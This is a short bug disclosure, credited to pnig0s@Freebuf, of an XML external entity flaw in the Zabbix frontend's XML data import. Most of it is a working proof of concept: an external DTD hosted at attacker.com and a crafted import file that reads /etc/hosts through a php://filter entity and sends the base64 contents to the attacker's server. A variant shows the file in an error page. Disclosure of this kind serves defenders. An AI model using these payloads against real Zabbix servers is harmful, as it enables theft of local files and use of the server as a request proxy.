zabbix frontend support xml data import feature,and server-side use DOMDocument to parse xml.DOMDocument also parse the external dtd in default.So attacker can use a crafted xml to read arbitrary local file and send http request use zabbix server as a proxy.

==Reproduction:
ext.dtd place at http://attacker.com/
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://attacker.com/?%file;'>"
>
%all;

zabbix.xml to import:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://attacker.com/ext.dtd">
%dtd;
%send;
]]>
<zabbix_export>
</zabbix_export>
After import zabbix.xml to zabbix server,the contents of hosts file will send to attacker.com.Attacker can get the content by checking the website access log. If use file:///etc/hosts to replace php://filter/read=convert.base64-encode/resource=/etc/hosts.the file content will print on the web page as an error directly.

==
This bug was found by pnig0s@Freebuf